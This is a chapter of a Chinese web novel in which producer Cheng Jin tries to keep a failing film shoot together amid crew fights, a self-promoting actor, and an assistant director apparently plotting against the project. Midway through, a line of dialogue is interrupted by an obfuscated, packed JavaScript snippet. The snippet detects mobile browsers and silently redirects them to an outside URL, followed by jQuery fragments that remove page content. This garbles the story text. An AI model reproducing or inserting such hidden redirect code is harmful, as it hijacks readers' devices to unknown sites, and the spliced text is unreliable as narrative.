14. 第 14 章

作品:《制片人说她不想谈恋爱

    深夜的片场,灯光穿透潮湿的空气,在薄雾中晕出一层模糊的光圈。《暗潮》剧组进入高强度拍摄期已数日连轴转,疲惫像浓雾一样笼罩在每个人身上,错漏频发,怨言横生,原本紧绷的秩序边缘开始龟裂,缝隙越来越大,直至人事矛盾浮出水面,如同一道深不可测的裂痕横亘在众人之间。


    “谁又关错电闸了?!”


    凌晨两点,副导演段林的怒吼在摄影棚内炸响。他拎着对讲机,火气直冲顶,目光像刀子一样一扫而过,“我说了多少遍,夜戏必须抓进度!现在灯全灭了,还拍个屁?!”


    场务主管老周当场炸了:“你自己说改机位就改,一会儿加灯,一会儿撤灯,我兄弟们不是超人,连轴转三天了,你怎么不自己上来搭棚!”


    火药味在空气中迅速蔓延,声音一层盖过一层,像谁也不愿让半步。


    一旁的编剧小井站在角落,脸色僵硬,左右为难地看着两人僵持。她试图缓和气氛,却又不敢太过冒头,只能小声开口:“段导……我们还得赶夜戏,要不先把电修好?”


    段林猛地一偏头,语气像被点燃的火柴:“你一个编剧,插什么嘴?”


    老周拍起椅子:“我场务是干活的不是捧臭脚的,别拿我们出气!”


    周围人集体噤声,生怕一句话不对就成了出头鸟。连导演都神情紧绷,频频朝刘倩递眼色,让他快去找程今。


    远处,服化组也炸开了锅:“夜戏连着拍,大家都快倒了还不让歇?”“衣服还没洗干净又要补拍特写,怎么拍啊!”


    有人一边翻着还没干透的戏服,一边低声抱怨:“周期拉这么长也就算了,现在还传资金链不稳,这戏……真能拍完吗?”


    一夜之间,剧组仿佛被一只无形的大手搅得天翻地覆,人人都在情绪边缘游走,一触即发。


    就在摄影棚另一端,主角沈宴正与新加入的配角柳尧对戏。


    这场是《暗潮》中的关键段落——夜巷对峙。动作紧凑,台词克制,需要极强的默契配合。灯光刚落下,导演一声“开始”,意外就接连发生了。


    柳尧率先停下动作,皱眉抱怨:“你反应时间太短了,我还没准备就出手,哪接得上?”


    沈宴拧了下眉,语气不轻不重:“是你出手慢了。节奏不对,戏就断了。”


    话音未落,第二条拍摄中,柳尧走位明显滞后,直接撞上沈宴的肩膀。两人短暂失衡,他语气一沉:“你演得再好,也别光顾自己。有点帮带意识行不行?”


    沈宴侧头看了他一眼,眼底有不易察觉的火气:“这是对峙戏,不是师徒情深。你要更主动,我才能接得住。”


    棚内气压瞬间冷下来。摄像师迟疑着,手指停在按钮边上。


    导演杨学宁见势不妙,连忙站出来打圆场:“大家先停一下,我看看刚刚那条的回放,看看是哪儿出了问题。”


    柳尧却将手里的道具随手扔回桌上,带着不加掩饰的情绪:“我是新人就得处处让着吗?那我这戏还怎么演?”


    沈宴没立刻回话,只是稍稍侧过头,声音低下来,却依旧有压迫感:“不是让,是合节奏。不走准流程,动作戏就全是空架子。”


    两人对峙间,火药味几乎要蹿上半空,工作人员纷纷收声,像在看一场即将爆发的风暴。


    程今听说这边出事,赶来时正撞上两人冷场僵持的一幕。她脚步顿了一下,随即恢复镇定,快步走向前。


    她没有第一时间喝止争执,而是将柳尧轻轻拉到一边,压低嗓音:“你刚进组没几天,表现确实不错。但如果你想让观众记住你的角色,就先做好角色本分。对戏不和,不仅影响成片,也会影响你后面的资源和口碑。”


    柳尧一时语塞,眼神闪了闪,似乎想说什么,最终只是哼了一声:“知道了。”


    这场风波暂时被程今压下,表面恢复平静,真正的裂缝却已悄然埋入两人心底。


    .


    夜戏一直断断续续拍到凌晨三点,导演终于一锤定音:“收工!”


    话音落地,所有人像被抽掉了力气般四散离场。摄影棚一片狼藉,道具东倒西歪,衣架倾斜、妆发残留,服化区像被风暴扫过,连负责清理的人都比往日少了几成。


    程今环顾现场,眉心微蹙。制片助理刘倩跟在她身边,低声道:“少了好几张熟面孔……有人说身体扛不住,申请回家休息了;也有人接了别的剧组的活儿,说是暂调,实际就是跑路。”


    她的神色微变,声音压得很低:“是他们听到什么消息?以为我们这边拍不下去了?”


    刘倩叹了一口气:“最近外面流言太猛,说咱们资金链断了,投资黄了……组里又这么疲,大家心里难免打鼓。”


    程今沉默片刻,没说话,只是迅速在心里记下各部门缺员情况,转头便火速联系几家人力资源公司,调取外包与备选名单。当夜,她留在办公室加班到天亮,与团队连夜商量临时补贴方案、轮休计划,试图用可控成本稳住人心。


    可她心里清楚得很:


    这一拨人已是透支状态,再出点差错,整个组都有崩塌风险。而她手上的钱,已经见底了。


    天刚亮,片场重启。


    副导演段林带着几个人在场地上忙着排景,场务主管老周负责物资进出。两人一早就杠上了:


    段林坚持要细化今日各场拍摄顺序,优化场地使用效率;


    老周直言夜里人手不够,摆完今天的景就谢天谢地,根本没力分头跑。


    原本只是对讲机里几句争论,转眼升级为面对面开喷:


    “你这样执行力太差,拖慢整个节奏!”段林拍桌,眉头立起,“要不你别干了,我找别人来做场务主管!”


    老周也火了:“你副导演了不起啊?导演和摄影需求你都协调不好,事到临头才临时改动,谁能跟得上?!”


    场务们你看看我,我看看你,脸上尽是难掩的尴尬。有年轻人低声嘀咕:“还拍个啥啊……领导吵成这样。”


    后台,原本在准备拍摄的导演听见外面噪声,脸色一沉,一把将手里的文件砸在桌上:“够了没?!一天天吵个没完,还让不让人干活了?!”


    整组人心惶惶,像被某种看不见的毒气包围,压得人透不过气。每个人都提着神,生怕成为被殃及的池鱼。


    程今赶到片场时,现场仍是一团乱麻。她站在灯光照不全的场地边,眼底是藏不住的疲惫,但语气却一如既往地冷静而强硬:“都停一下。”


    她的出现像是场面唯一的灭火器。段林和老周一时语塞,虽然眼里还有火气,却都没再出声。


    “段林,你先把拍摄计划压缩一点,别扩张,能拍完一条是一条。”


    “老周,你这边先联系外包场务,预算我批。”


    她顿了顿,看着两人:“再吵,谁都别想干下去。”


    两人互相瞪了一眼,虽然心有不甘,却还是默默各自转身,各回各位。


    程今冷静处理完这一场纷争,刚转身,脚步却顿了顿,她长长地吸了口气,像是在用力把肺里堆积的焦躁和疲惫压回去。


    这已经不知道是她今天灭的第几个“火头”。


    夜戏崩、日戏难排、剧本被来回改、资金仍遥遥无期……每一个环节都像定时炸弹,谁都不知道,哪颗会先响。


    .


    同一天下午,某娱乐营销号突然发布了一条新动态,配图是几张柳尧在《暗潮》片场的自拍,角度考究、姿态刻意,配文更是语气自夸:“角色反转埋伏笔,《暗潮》最大爆点即将来袭。”


    最关键的是,他在最后一句含混带过:“这次能出演第二男主,是一次全新的挑战。”


    评论区很快炸了。


    沈宴粉丝火速冲来:“他不是配角吗?哪里来的第二男主?”


    “请问这是剧组官宣的吗?别蹭沈老师热度,谢谢。”


    甚至有人跑到剧组官博下留言:“能不能约束一下演员的行为?还让不让人看了?”


    程今下班途中收到公关经理转来的链接,打开一看,眉头就拧了起来:“他胆子不小,连花絮都敢自己发?我们不是明确规定,对外物料必须报批?”


    导演杨学宁在办公室也刚看到热搜,直接怒火冲天:“这小子想搞事?还第二男主?我再说一次,他就是个重点配角。他要是再乱来,我直接砍镜头!”


    程今抬手止住他的火气,语气依旧冷静:“别急。目前我们最缺的是话题,如果他真能带点正面讨论,其实不算坏事。”


    “可他要是真出乱子,别怪我不留情面。”杨学宁咬牙。


    “放心,我会和他谈清楚。”她点头,眼神一沉。


    当晚,程今私下约了柳尧面谈。她原本已疲惫不堪,却仍维持着理智与控制力。


    柳尧倒是一脸无辜又理直气壮:“我只是想多让大家看到这个角色嘛。影片有热度,对大家都好,不是吗?”


    程今淡淡看着他,语气不动声色:“没人说你不可以推广角色,但我们有宣传计划,你擅自发图,容易引发粉丝误会,破坏宣发节奏。一旦粉圈互撕,剧组和你,谁都讨不到好。”


    柳尧面上一滞,还是嘴硬:“我只是想让观众知道,我不是个可有可无的路人甲。”


    “我明白。”程今声音一顿,语气却更加冷,“但你想红,不该建立在剧组混乱的基础上。你不想被当成麻烦,就别自己变成污点。”


    话不重,却句句击中要害。柳尧一时间说不出话,只得低声应了个“好”,悻悻离开。


    程今站在原地,看着他离开的背影,眉心久久未松。


    他对戏份的渴望太强,这份热度或许能用来做宣发的推力,但若稍有偏差,就会成爆雷。她得踩着这条钢丝,时刻计算风险与收益的临界点。


    这一夜,程今几乎没怎么合眼。


    剧组里内乱未平,对外还要应对突如其来的流量旋涡。她已经将所有能做的事提前一格完成,但仍无法保证下一步不会突然崩盘。


    连续几天下午,助理不断反馈:“有灯光组的人在问项目是不是要黄了,有两个服化说考虑跳去别的组,人家那边稳定,工资也没压。”


    每次听到这些,程今都只能咬牙从预算缝隙里挤出点应急补贴,亲自去安抚:“剧组没事,很快会迎来热度爆点。再撑一阵,就好了。”


    可她心里清楚,那些话更像是在哄小孩。没有实打实的银子到账,一切承诺听起来都像是空中楼阁。


    这几天,她几乎马不停蹄地在“办公室—片场—后期会议室”三点间来回穿梭。靠着咖啡和意志力才勉强支撑住项目走形的边缘。


    临时请辞的浪潮算是压了下去,但她知道,那只是暂时的。只要再遭遇一次失控的公关事件,或者某个投资节点断档,这个组就可能一哄而散。


    她站在会议室的落地窗前,看着玻璃上映出自己面无血色的倒影,那一瞬,冷意仿佛从脚底爬上了脊背,一路窜到心口。


    ——她不是没想过放弃,但手中这局棋,还没输。她不允许现在倒下。


    .


    深夜,办公室的灯还亮着。


    程今推门进来,准备确认次日拍摄事宜,却发现副导演段林还坐在桌前。


    他没在看剧本,也不是调分镜,而是一堆项目进度表和演员档期文档,摊得乱七八糟,神情游离,手里翻着资料却明显心不在焉。


    “段导,我需要明天的场地确认。”她语气尽量克制,不想挑起火药味。


    段林抬头看了她一眼,嘴角浮出一抹似笑非笑的嘲意:“你让我确认我就去确认?现在剧组都快散了,你还当什么事都没发生?”


    程今胸口一紧,火气猛地涌上来,却还是强压下来:“剧不会散,我们只是遇到一点波折。”


    她看着他,字字带压:“戏已经开拍了,你作为副导演,难道不该跟我一条心想办法?”


    段林啪地合上资料,语气冷下来:“完工能不能完成我不知道。但这段时间你绕着我和杨导走,很多事都是你自己定的。还要我真心配合?”


    他嗤笑一声,“你先保得住这支烂队伍再说吧。”


    说完,他抱起一摞资料,头也不回地走出办公室,只留下程今站在原地,脸色冷得像霜。


    她站了好一会儿,才慢慢在心里落下一句判断:


    段林,可能已经不打算跟这部戏站在一起。


    是外面有人跟他接触?还是他自己彻底失了信心?无论哪个答案,都足够让人焦虑。


    他的位置太关键,轻易换人只会引发更大混乱。她必须先稳住。


    第二天下午,片场再度传出风声。


    微信群里,有人假借“知情人”身份发言:“听说投资方下周就要撤资了,有本事的赶紧找下家,不然晚了连补偿都没


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15359153|168070||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    有。”


    真真假假的截图满天飞,有人开始动摇,有人开始观望,也有人开始偷偷投简历。


    群聊里声音混乱,有人发语音控诉:“半夜拍戏拍成病都没人管,那我们留下图什么?”


    也有人默默刷着聊天记录,等待程今发声,可她那时正赶着去导演那边处理突发状况。


    刘倩第一时间冲到她跟前,脸都急红了:“姐,乱了!群里炸了,大家都慌了,你得赶紧出声明稳一稳!”


    程今一边翻看手机,一边冷冷道:“出什么?我们上次那份声明发完,被人截图笑了整整一天。”


    她捏着手机的指节泛白:“现在再放空话,只会更打脸。”


    刘倩急得团团转:“可要不澄清点什么,大家会觉得默认了……我们连后路都没。”


    程今深吸一口气,强行把浮躁压下:“我知道。但靠声明没用。”


    她声音哑哑的,“我们只能硬扛,找办法在最短时间里做点实事,让他们看到,我们还撑得住。”


    到了晚上七点,又一记重击袭来。


    导演杨学宁气冲冲闯进休息室,一脚踹开门:“段林发疯了?在微信群放话劝大家散伙?”


    原来,有人截了段林在小群里的发言截图传给杨导:


    “这项目我看悬了,各位趁早另谋出路吧,免得被拖下水。”


    杨学宁怒不可遏,甩下手里的剧本,指着门口:“他人呢?给我叫过来!”


    段林倒是来了,面不改色,语气冷得像冰:“我只是说了点实话。你们要真聪明,就该早点抽身。”


    “你别想把这个组弄散!”杨导气得发抖,一步上前,“段林,你知不知道你在做什么?”


    “我做的,正是你们不敢承认的。”段林冷笑,“这戏要死了,你们还搅和什么?”


    程今闻讯赶来,刚进门,就看见两人几乎要动手,她立刻拦住。


    “冷静点,杨导!”她高声道,“我们现在最重要的是把拍摄完成,任何内部崩盘都会让外面看笑话!”


    杨学宁满脸涨红,气得直哆嗦:“你可得想清楚!段林已经开始带头造反了!”


    段林摊开双手,一脸轻蔑:“我倒想听听,程制片你现在敢不敢炒我?你换人啊,敢吗?”


    话一出口,他转身摔门而去,毫不留情。


    休息室内一片沉寂。


    程今望着紧闭的门,呼吸凝住了半拍。她转头看向杨学宁,立即示意助理去倒水,安抚导演情绪。


    “我知道现在是临界点。”她语气沉稳却不失压迫,“但请再撑一下,我们必须把这部戏拍完。不然一切都白费了。”


    她攥紧拳头,指节泛白,声音仿佛从胸腔里压出来:“我会处理这件事,我不会让这部戏死在我们手里。”


    正当剧组所有人都围着段林的问题焦头烂额时,柳尧又在社交平台扔下了一颗“舆论炸弹”。


    他晒出自拍照配文:【感谢大家对我在《暗潮》中的期待,我会全力突破自我,不辜负每一场戏。】


    文末还意味深长地加了一句:“剧本确实有些新的惊喜,敬请期待。”


    不出意料,评论区再次掀起风波。


    沈宴粉丝看到后炸锅:“谁在给他加戏?想压主角线?”


    “他不是配角吗?怎么又在暗示有新剧情?”


    “请给沈老师基本尊重。”


    一场粉丝骂战隐隐酝酿,舆情边缘躁动不安。


    程今回到办公室,刚坐下没两分钟,就收到唐夕转来的截图合集。她扫了一眼,眉心拧紧:“他真是……不嫌事大。”


    她语气低冷,“帮我转告他,别再擅自发言。戏没有加,剧本也没改,别自说自话。”


    唐夕小心翼翼:“要不要我们顺势压掉他的热度?或者直接删帖?”


    程今沉吟片刻,目光一凝:“不用太显眼地压。删了只会引起反弹。现在风向敏感,小动作反倒容易引爆。”


    唐夕犹豫道:“那万一他继续发……甚至炒大?”


    程今眯起眼,语气平静,却有种不容置喙的锋利:“那他就别拍了。”


    短短一句,却划出了她的底线。


    她并不想轻易撕裂剧组内部关系,但如果火苗蔓延至全组失控,她宁愿下狠手,也不能眼睁睁看着项目垮掉。


    夜幕再次降临,片场氛围压抑如常。


    段林和老周坐在对讲台前,彼此几乎不说一句话,各组工作人员也各自为阵,暗自抱怨的声音此起彼伏。


    “这剧怕是干不久了吧……”


    “主创天天吵架,气氛僵得跟冰窖似的。”


    “再拍两天?说不定明天就解散。”


    程今像个永动机,穿梭在各个岗位之间,时而安抚,时而施压,时而用实际利益捆住各组的临界情绪。一人撑起一整个组的协调力,但她也知道,这样的平衡脆弱得像浮冰。


    凌晨时分,片场收工。


    演员离开,导演也走了,现场只剩几个加班整理的工作人员。


    程今披着外套,最后巡场一圈。确认完主场地后,她顺着通道绕向道具储物区,想再检查一眼是否有物品遗留。


    刚转过拐角,她便听见低低的交谈声从阴影里传来。灯光昏暗,那人站在角落,用手机讲着电话。


    是段林。


    他的声音压得很低,却依旧透出焦急与不耐:“再等等,别急。时机还没到……她快撑不住了……我估摸着,再几天就崩。”


    那头似乎回了什么,他又低声附和:“对,我会继续盯着……你放心。”


    程今站在昏影边缘,背脊一阵发凉。


    她没有再靠近,也没有出声,只默默退了半步,藏进角落。耳边回荡着刚才那句“她快撑不住了”,像刀一样划过神经。


    她的直觉没错,段林果然已经和外界有勾连。他不是单纯的消极怠工,而是被人指使,准备从内部掀翻这个项目。


    程今咬紧后槽牙,指节攥得泛白。此刻没有证据,她不能贸然发难。


    远处忽然传来场务的喊声:“程制片,出点小问题,麻烦您过来一下!”


    她立刻收了情绪,眨眼间换上镇定自若的神情,快步走出阴影。


    夜风猎猎,她脚步平稳,仿佛一切都在掌控中。


    可只有她自己知道,那股寒意,已经彻底攀上了脊背。